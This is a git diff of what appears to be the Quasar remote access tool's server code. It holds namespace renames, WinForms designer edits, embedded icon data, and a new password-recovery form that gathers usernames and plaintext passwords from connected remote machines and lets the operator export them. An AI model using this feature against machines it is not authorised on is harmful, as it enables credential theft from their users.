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 + adAAAAAASUVORK5CYII= @@ -325,76 +324,19 @@ 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 - adAAAAAASUVORK5CYII= - - - + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m - dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKoSURBVDhPpZPtT1JRHMf9W/RP6N7etDZ90VybDZK0 - F5k1TBO1la7CbLBKMRGfAAVsCIaaD5RPUJIiJHAlI+QhNPXmwAza2uoNZC3LbwdaqNXaWi8+d/ece77f - 3/ne3zkZAP6L3ybyNStZx1QhUZ4iyB5p8cZzZJ54tmyBzZa5RYdvM1m/rt834KiXeUflgVhFrx+99ghG - mc0UemsYfPVT0KLZGC228vZq0i+kKi+31ZdomVyFxRtDz3QEEuNL3Bpehty0CqNjA42jIdCVEwn64kTa - JPXIUwYzc9sWo0mx6VkMIiK6NhDAkOs1hpwbuGrwQ9gfgGF2HZL7ftBlxihdOpyZNsiVL4rLtV6YPW9R - NxCCkES4rPPh4+ftFNU6D6p7PBDe9WLgSRinmh+DKuoXpw1y2jys3hqB0sTiSq8PNTovqrUe9NnXYSBU - djM/0LhIrADU0yugC3Vs2uCQhNkaX3iDuj4/qfQcVXfcZDFDPgE7BIHKifLOOYIDFzROGJkwKF7XVlKb - MqDF9q0x92Yqa7JShdpFRC6EIh+Q+LSNsg47StttOEcQKGwYmScGXMVeAyurtbKQPlhClcYNQZcT55Vz - eBF+Twy+oEQ2gxKSm99sQW0PA6UlCPp4x24EutYiLpbbMeSIoErFQCB3wOLZwNdvO6kI/lfvUCwxE0zo - fhhC4fVRYtC++xPpS2OZtMAYvTnig8G6hjK5DfyWaZyRTqG4wYTT9RMoqh9H64iXtHeebF8apbnS3TYm - ofiDvAMF+oRo0AP9zAqEWifZ8iOcbTSjRmWD2hSAsI8BzWlIEPH+g5Q2KdTzqILu2Mkbk1BOLeGekyWs - ocMcRH6dERSnMUZzm/58lH9Cn1BnUbxOEZWvYCluc5ziNMVJRZYgOsht+Ptl+neQ8R04hsvsalKMmgAA - AABJRU5ErkJggg== + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIkSURBVDhPpZFLaxphFIbzD/pzsuiui1LopquuBQUF + EQRd6MaVK0XEJmkEwbZaqUWoJkaNjhov41SjRqPjLY63pin1QnXfxdvzDbQkMF2ULt7N8LzPme+cPQD/ + FcWPzWbzTa1W+8nzPAqFAjiOQzKZRCwWQyQS+XCffVBst9uPGo1GRJIk3N5+gzRdQJJmGLOMp9hsfiAU + ChGqIGi1Ws/q9frX2WyG1WqF2mULFaGOMn+JYrmKYvEzhiMJfr+fcAUBlbFcLuUsFl/AU/n42Iujo9c4 + ODiEx/MK/cEYXq+XcAWBIAjYbrdUXmAymaDEppaquCgKyF9UwOXK6PVvSOQhXEHAlrXZbDCfz+ndExTo + l9lUt9sNl8sFh8MBsTeC0+kkXEHANs0EbAej0Q1NFZDN8+CyZaS5Is7TBXS7A9jtdsIVBIlEQhZMp1MM + hyP5lzNcCelMEe+rb/Hy4wtck8BmsxGuIIhGo1iv1/L7e73Bn6nJ8zyevHuM/cN9tK/7sFgshCsIwuGw + fD4m6Io9pFg5lcdZMof4GYeTOIdWW4TJZCJcQRAIBLDb7eQldjoiEkkqJ7I4ZeXTDKInaVy1RBgMBsIV + BD6frxaPxyGKIi1ygRydLp7IIUbFTyzRFJpXXeh0OsIVBCx0sud0rkYwGARfEegpI3kqK7Lc3X2HRqMh + 9C+C36FNP7VarR2z2Qyj0Qi9Xg+tVgu1Wg2VSjW4zz4o/nuw9wtdEBK3EWw5nwAAAABJRU5ErkJggg== @@ -405,7 +347,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAYABCAGAAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAAfgBCAH4AQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ diff --git a/Server/Forms/FrmPasswordRecovery.Designer.cs b/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs similarity index 96% rename from Server/Forms/FrmPasswordRecovery.Designer.cs rename to Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs index c8881ecdf..c9adb1376 100644 --- a/Server/Forms/FrmPasswordRecovery.Designer.cs +++ b/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmPasswordRecovery { @@ -46,7 +48,7 @@ private void InitializeComponent() this.groupBox2 = new System.Windows.Forms.GroupBox(); this.lblInfo = new System.Windows.Forms.Label(); this.txtFormat = new System.Windows.Forms.TextBox(); - this.lstPasswords = new xServer.Controls.AeroListView(); + this.lstPasswords = new AeroListView(); this.hIdentification = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hURL = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hUser = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -72,7 +74,7 @@ private void InitializeComponent() this.saveToFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.saveAllToolStripMenuItem, this.saveSelectedToolStripMenuItem}); - this.saveToFileToolStripMenuItem.Image = global::xServer.Properties.Resources.save; + this.saveToFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.save; this.saveToFileToolStripMenuItem.Name = "saveToFileToolStripMenuItem"; this.saveToFileToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.saveToFileToolStripMenuItem.Text = "Save to File"; @@ -96,7 +98,7 @@ private void InitializeComponent() this.copyToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.copyAllToolStripMenuItem, this.copySelectedToolStripMenuItem}); - this.copyToClipboardToolStripMenuItem.Image = global::xServer.Properties.Resources.copy; + this.copyToClipboardToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; this.copyToClipboardToolStripMenuItem.Name = "copyToClipboardToolStripMenuItem"; this.copyToClipboardToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.copyToClipboardToolStripMenuItem.Text = "Copy to Clipboard"; @@ -125,7 +127,7 @@ private void InitializeComponent() this.clearToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.clearAllToolStripMenuItem, this.clearSelectedToolStripMenuItem}); - this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.delete; + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; this.clearToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.clearToolStripMenuItem.Text = "Clear"; @@ -146,7 +148,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.refreshToolStripMenuItem.Text = "Refresh"; @@ -243,8 +245,8 @@ private void InitializeComponent() // // FrmPasswordRecovery // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(573, 445); this.Controls.Add(this.groupBox2); this.Controls.Add(this.groupBox1); diff --git a/Quasar.Server/Forms/FrmPasswordRecovery.cs b/Quasar.Server/Forms/FrmPasswordRecovery.cs new file mode 100644 index 000000000..cdb78bde3 --- /dev/null +++ b/Quasar.Server/Forms/FrmPasswordRecovery.cs @@ -0,0 +1,284 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; + +namespace Quasar.Server.Forms +{ + public partial class FrmPasswordRecovery : Form + { + /// + /// The clients which can be used for the password recovery. + /// + private readonly Client[] _clients; + + /// + /// The message handler for handling the communication with the clients. + /// + private readonly PasswordRecoveryHandler _recoveryHandler; + + /// + /// Represents a value to display in the ListView when no results were found. + /// + private readonly RecoveredAccount _noResultsFound = new RecoveredAccount() + { + Application = "No Results Found", + Url = "N/A", + Username = "N/A", + Password = "N/A" + }; + + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The clients used for the password recovery form. + public FrmPasswordRecovery(Client[] clients) + { + _clients = clients; + _recoveryHandler = new PasswordRecoveryHandler(clients); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the password recovery message handler for client communication. + /// + private void RegisterMessageHandler() + { + //_connectClient.ClientState += ClientDisconnected; + _recoveryHandler.AccountsRecovered += AddPasswords; + MessageHandler.Register(_recoveryHandler); + } + + /// + /// Unregisters the password recovery message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_recoveryHandler); + _recoveryHandler.AccountsRecovered -= AddPasswords; + //_connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + /// TODO: Handle disconnected clients + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmPasswordRecovery_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Password Recovery", _clients.Length); + txtFormat.Text = Settings.SaveFormat; + RecoverPasswords(); + } + + private void FrmPasswordRecovery_FormClosing(object sender, FormClosingEventArgs e) + { + Settings.SaveFormat = txtFormat.Text; + UnregisterMessageHandler(); + } + + private void RecoverPasswords() + { + clearAllToolStripMenuItem_Click(null, null); + _recoveryHandler.BeginAccountRecovery(); + } + + private void AddPasswords(object sender, string clientIdentifier, List accounts) + { + try + { + if (accounts == null || accounts.Count == 0) // no accounts found + { + var lvi = new ListViewItem { Tag = _noResultsFound, Text = clientIdentifier }; + + lvi.SubItems.Add(_noResultsFound.Url); // URL + lvi.SubItems.Add(_noResultsFound.Username); // User + lvi.SubItems.Add(_noResultsFound.Password); // Pass + + var lvg = GetGroupFromApplication(_noResultsFound.Application); + + if (lvg == null) // create new group + { + lvg = new ListViewGroup + { Name = _noResultsFound.Application, Header = _noResultsFound.Application }; + lstPasswords.Groups.Add(lvg); // add the new group + } + + lvi.Group = lvg; + lstPasswords.Items.Add(lvi); + return; + } + + var items = new List(); + foreach (var acc in accounts) + { + var lvi = new ListViewItem {Tag = acc, Text = clientIdentifier}; + + lvi.SubItems.Add(acc.Url); // URL + lvi.SubItems.Add(acc.Username); // User + lvi.SubItems.Add(acc.Password); // Pass + + var lvg = GetGroupFromApplication(acc.Application); + + if (lvg == null) // create new group + { + lvg = new ListViewGroup { Name = acc.Application.Replace(" ", string.Empty), Header = acc.Application }; + lstPasswords.Groups.Add(lvg); // add the new group + } + + lvi.Group = lvg; + items.Add(lvi); + } + + lstPasswords.Items.AddRange(items.ToArray()); + UpdateRecoveryCount(); + } + catch + { + } + } + + private void UpdateRecoveryCount() + { + groupBox1.Text = $"Recovered Accounts [ {lstPasswords.Items.Count} ]"; + } + + private string ConvertToFormat(string format, RecoveredAccount login) + { + return format + .Replace("APP", login.Application) + .Replace("URL", login.Url) + .Replace("USER", login.Username) + .Replace("PASS", login.Password); + } + + private StringBuilder GetLoginData(bool selected = false) + { + StringBuilder sb = new StringBuilder(); + string format = txtFormat.Text; + + if (selected) + { + foreach (ListViewItem lvi in lstPasswords.SelectedItems) + { + sb.Append(ConvertToFormat(format, (RecoveredAccount)lvi.Tag) + "\n"); + } + } + else + { + foreach (ListViewItem lvi in lstPasswords.Items) + { + sb.Append(ConvertToFormat(format, (RecoveredAccount)lvi.Tag) + "\n"); + } + } + + return sb; + } + + #region Group Methods + private ListViewGroup GetGroupFromApplication(string app) + { + ListViewGroup lvg = null; + foreach (var @group in lstPasswords.Groups.Cast().Where(@group => @group.Header == app)) + { + lvg = @group; + } + return lvg; + } + + #endregion + + #region Menu + + #region Saving + + #region File Saving + private void saveAllToolStripMenuItem_Click(object sender, EventArgs e) + { + StringBuilder sb = GetLoginData(); + using (var sfdPasswords = new SaveFileDialog()) + { + if (sfdPasswords.ShowDialog() == DialogResult.OK) + { + File.WriteAllText(sfdPasswords.FileName, sb.ToString()); + } + } + } + + private void saveSelectedToolStripMenuItem_Click(object sender, EventArgs e) + { + StringBuilder sb = GetLoginData(true); + using (var sfdPasswords = new SaveFileDialog()) + { + if (sfdPasswords.ShowDialog() == DialogResult.OK) + { + File.WriteAllText(sfdPasswords.FileName, sb.ToString()); + } + } + } + #endregion + #region Clipboard Copying + private void copyAllToolStripMenuItem_Click(object sender, EventArgs e) + { + StringBuilder sb = GetLoginData(); + + ClipboardHelper.SetClipboardTextSafe(sb.ToString()); + } + + private void copySelectedToolStripMenuItem_Click(object sender, EventArgs e) + { + StringBuilder sb = GetLoginData(true); + + ClipboardHelper.SetClipboardTextSafe(sb.ToString()); + } + #endregion + + #endregion + + #region Misc + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + RecoverPasswords(); + } + + private void clearAllToolStripMenuItem_Click(object sender, EventArgs e) + { + lstPasswords.Items.Clear(); + lstPasswords.Groups.Clear(); + + UpdateRecoveryCount(); + } + + private void clearSelectedToolStripMenuItem_Click(object sender, EventArgs e) + { + for (int i = 0; i < lstPasswords.SelectedItems.Count; i++) + { + lstPasswords.Items.Remove(lstPasswords.SelectedItems[i]); + } + } + + #endregion + + #endregion + } +} diff --git a/Server/Forms/FrmReverseProxy.resx b/Quasar.Server/Forms/FrmPasswordRecovery.resx similarity index 100% rename from Server/Forms/FrmReverseProxy.resx rename to Quasar.Server/Forms/FrmPasswordRecovery.resx diff --git a/Server/Forms/FrmRegValueEditBinary.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs similarity index 77% rename from Server/Forms/FrmRegValueEditBinary.Designer.cs rename to Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs index 98c5dcd3b..ce14d4323 100644 --- a/Server/Forms/FrmRegValueEditBinary.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls.HexEditor; + +namespace Quasar.Server.Forms { partial class FrmRegValueEditBinary { @@ -31,11 +33,9 @@ private void InitializeComponent() this.valueNameTxtBox = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); - this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); - this.hexEditor = new xServer.Controls.HexEditor.HexEditor(); - this.flowLayoutPanel1.SuspendLayout(); + this.hexEditor = new HexEditor(); this.SuspendLayout(); // // valueNameTxtBox @@ -45,7 +45,7 @@ private void InitializeComponent() this.valueNameTxtBox.Name = "valueNameTxtBox"; this.valueNameTxtBox.ReadOnly = true; this.valueNameTxtBox.Size = new System.Drawing.Size(341, 20); - this.valueNameTxtBox.TabIndex = 5; + this.valueNameTxtBox.TabIndex = 3; // // label1 // @@ -56,7 +56,6 @@ private void InitializeComponent() this.label1.Location = new System.Drawing.Point(9, 15); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(66, 13); - this.label1.TabIndex = 4; this.label1.Text = "Value name:"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // @@ -69,42 +68,27 @@ private void InitializeComponent() this.label2.Location = new System.Drawing.Point(9, 54); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(61, 13); - this.label2.TabIndex = 6; this.label2.Text = "Value data:"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // - // flowLayoutPanel1 - // - this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.flowLayoutPanel1.Controls.Add(this.cancelButton); - this.flowLayoutPanel1.Controls.Add(this.okButton); - this.flowLayoutPanel1.Location = new System.Drawing.Point(12, 270); - this.flowLayoutPanel1.Name = "flowLayoutPanel1"; - this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes; - this.flowLayoutPanel1.Size = new System.Drawing.Size(341, 29); - this.flowLayoutPanel1.TabIndex = 8; - // // cancelButton // this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.cancelButton.Location = new System.Drawing.Point(263, 3); + 